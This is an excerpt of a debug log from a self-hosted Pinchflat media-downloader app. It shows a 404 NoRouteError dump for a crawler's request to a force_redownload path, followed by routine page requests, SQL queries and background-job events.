qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273998.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsh3rheldeLFIAM3cC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51548}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51548}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273998.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-en (truncated) 08:17:38.366 [info] GET /sources/2/media/813 08:17:38.366 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "813", "source_id" => "2"} Pipelines: [:browser] 08:17:38.367 [debug] QUERY OK source="media_items" db=0.5ms idle=321.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [813] 08:17:38.368 [debug] QUERY OK source="tasks" db=0.3ms idle=322.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [813] 08:17:38.369 [debug] QUERY OK source="sources" db=0.4ms idle=321.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:17:38.369 [debug] QUERY OK source="settings" db=0.2ms idle=321.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.370 [debug] QUERY OK source="settings" db=0.2ms idle=89.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.371 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:17:38.373 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:17:38.376 [info] Sent 200 in 10ms 08:17:38.792 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.594 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:08.794 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:36.115 [info] GET /sources/2/media/810 08:18:36.115 [info] GET /sources/2/media/813/edit 08:18:36.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "813", "source_id" => "2"} Pipelines: [:browser] 08:18:36.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "810", "source_id" => "2"} Pipelines: [:browser] 08:18:36.117 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1433.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [813] 08:18:36.117 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=721.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [810] 08:18:36.118 [debug] QUERY OK source="settings" db=0.5ms idle=435.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.119 [debug] QUERY OK source="tasks" db=0.6ms idle=435.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [810] 08:18:36.119 [debug] QUERY OK source="settings" db=0.5ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.119 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=435.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:18:36.121 [debug] QUERY OK source="settings" db=0.7ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.121 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.121 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.122 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.123 [info] Sent 200 in 7ms 08:18:36.124 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:18:36.127 [info] Sent 200 in 11ms 08:18:36.240 [info] GET /sources/2/media/804 08:18:36.240 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "804", "source_id" => "2"} Pipelines: [:browser] 08:18:36.240 [debug] QUERY OK source="media_items" db=0.3ms idle=119.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [804] 08:18:36.241 [debug] QUERY OK source="tasks" db=0.3ms idle=119.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [804] 08:18:36.242 [debug] QUERY OK source="sources" db=0.5ms idle=119.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:18:36.242 [debug] QUERY OK source="settings" db=0.2ms idle=119.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.243 [debug] QUERY OK source="settings" db=0.2ms idle=118.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.244 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:36.246 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:18:36.249 [info] Sent 200 in 9ms 08:18:38.737 [info] GET /sources/2/media/808/edit 08:18:38.737 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "808", "source_id" => "2"} Pipelines: [:browser] 08:18:38.738 [debug] QUERY OK source="media_items" db=0.4ms idle=1055.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [808] 08:18:38.739 [debug] QUERY OK source="settings" db=0.2ms idle=1056.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.740 [debug] QUERY OK source="settings" db=0.2ms idle=1056.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.741 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1057.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.743 [info] Sent 200 in 5ms 08:18:38.796 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:38.946 [info] GET /sources/2/media/808 08:18:38.946 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "808", "source_id" => "2"} Pipelines: [:browser] 08:18:38.947 [debug] QUERY OK source="media_items" db=0.5ms idle=208.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [808] 08:18:38.948 [debug] QUERY OK source="tasks" db=0.3ms idle=208.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [808] 08:18:38.949 [debug] QUERY OK source="sources" db=0.5ms idle=208.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:18:38.949 [debug] QUERY OK source="settings" db=0.1ms idle=208.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.950 [debug] QUERY OK source="settings" db=0.1ms idle=153.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.950 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:38.952 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:18:38.954 [info] Sent 200 in 8ms 08:18:39.447 [info] GET /sources/2/media/817/edit 08:18:39.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "817", "source_id" => "2"} Pipelines: [:browser] 08:18:39.448 [debug] QUERY OK source="media_items" db=0.3ms idle=498.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [817] 08:18:39.449 [debug] QUERY OK source="settings" db=0.1ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:39.449 [debug] QUERY OK source="settings" db=0.2ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:39.450 [debug] QUERY OK source="settings" db=0.2ms idle=498.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:39.452 [info] Sent 200 in 4ms 08:18:47.065 [info] GET /sources/5/force_redownload 08:18:47.065 [info] GET /sources/2/media/809/edit 08:18:47.065 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "809", "source_id" => "2"} Pipelines: [:browser] 08:18:47.066 [debug] QUERY OK source="settings" db=0.7ms idle=647.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.066 [debug] QUERY OK source="media_items" db=0.6ms idle=382.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [809] 08:18:47.067 [debug] QUERY OK source="settings" db=0.4ms idle=383.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.067 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:18:47.067 [debug] QUERY OK source="settings" db=0.3ms idle=383.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.068 [debug] QUERY OK source="settings" db=0.2ms idle=384.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.069 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.1ms SELECT s0."id", 